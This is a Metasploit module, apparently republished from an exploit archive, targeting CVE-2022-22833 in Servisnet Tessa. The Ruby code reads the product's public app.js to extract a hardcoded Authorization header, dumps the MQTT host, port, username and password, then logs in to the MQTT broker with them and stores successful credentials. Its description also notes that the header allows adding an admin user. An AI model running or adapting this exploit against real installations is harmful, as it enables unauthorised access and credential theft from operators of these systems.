Servisnet Tessa MQTT Credential Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/credential_collection'  
require 'metasploit/framework/login_scanner/mqtt'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::MQTT  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Servisnet Tessa - MQTT Credentials Dump (Unauthenticated) (Metasploit)',  
'Description' => %q(  
This module exploits MQTT creds dump vulnerability in Servisnet Tessa.  
The app.js is publicly available which acts as the backend of the application.  
By exposing a default value for the "Authorization" HTTP header,   
it is possible to make unauthenticated requests to some areas of the application.   
Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.  
A new admin user can be added to the database with this header obtained in the source code.   
  
The module tries to log in to the MQTT service with the credentials it has obtained,   
and reflects the response it receives from the service.   
  
),  
'References' =>  
[  
[ 'CVE', 'CVE-2022-22833' ],  
[ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-MQTT-Credentials-Dump-Unauthenticated.html' ],  
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]  
],  
'Author' =>  
[  
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => "Dec 22 2021",  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SSL' => true  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path for application', '/'])  
])  
end  
# split strings to salt  
def split(data, string_to_split)   
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
  
def check_mqtt  
res = send_request_cgi({  
# default.a.get( check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /connectionMQTT/  
data = res.body  
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
mqtt_host = data.scan(/host: '([\S\s]*?)'/)[0][0]  
rhost = mqtt_host.split('mqtts://').join('')  
print_status("MQTT Host: #{mqtt_host}")   
mqtt_port = data.scan(/port: ([\S\s]*?),/)[0][0]  
print_status("MQTT Port: #{mqtt_port}")   
mqtt_end = data.scan(/endpoint: '([\S\s]*?)'/)[0][0]  
print_status("MQTT Endpoint: #{mqtt_end}")   
mqtt_cl = data.scan(/clientId: '([\S\s]*?)'/)[0][0]  
print_status("MQTT clientId: #{mqtt_cl}")  
mqtt_usr = data.scan(/username: '([\S\s]*?)'/)[1][0]  
print_status("MQTT username: #{mqtt_usr}")  
mqtt_pass = data.scan(/password: '([\S\s]*?)'/)[1][0]  
print_status("MQTT password: #{mqtt_pass}")  
  
print_status("##### Starting MQTT login sweep #####")  
  
# Removed brute force materials that can be included for the collection.  
cred_collection = Metasploit::Framework::CredentialCollection.new(  
password: mqtt_pass,  
username: mqtt_usr  
)  
# this definition already exists in "auxiliary/scanner/mqtt/connect". Moved into exploit.  
cred_collection = prepend_db_passwords(cred_collection)  
  
scanner = Metasploit::Framework::LoginScanner::MQTT.new(  
host: rhost,  
port: mqtt_port,  
read_timeout: datastore['READ_TIMEOUT'],  
client_id: client_id,  
proxies: datastore['PROXIES'],  
cred_details: cred_collection,  
stop_on_success: datastore['STOP_ON_SUCCESS'],  
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],  
connection_timeout: datastore['ConnectTimeout'],  
max_send_size: datastore['TCP::max_send_size'],  
send_delay: datastore['TCP::send_delay'],  
framework: framework,  
framework_module: self,  
ssl: datastore['SSL'],  
ssl_version: datastore['SSLVersion'],  
ssl_verify_mode: datastore['SSLVerifyMode'],  
ssl_cipher: datastore['SSLCipher'],  
local_port: datastore['CPORT'],  
local_host: datastore['CHOST']  
)  
  
scanner.scan! do |result|  
credential_data = result.to_h  
credential_data.merge!(  
module_fullname: fullname,  
workspace_id: myworkspace_id  
)  
password = result.credential.private  
username = result.credential.public  
if result.success?  
credential_core = create_credential(credential_data)  
credential_data[:core] = credential_core  
create_credential_login(credential_data)  
print_good("MQTT Login Successful: #{username}/#{password}")  
else  
invalidate_login(credential_data)  
vprint_error("MQTT LOGIN FAILED: #{username}/#{password} (#{result.proof})")  
end  
end  
end  
end  
  
def auth_bypass  
res = send_request_cgi({  
# default.a.defaults.headers.post["Authorization"] check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/  
token = split(res.body, 'Authorization')  
print_status("Authorization: #{token}")   
return token  
else  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
end  
  
def check   
if auth_bypass =~ /Basic/   
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def run  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
check_mqtt   
end  
end  
  
  
  
`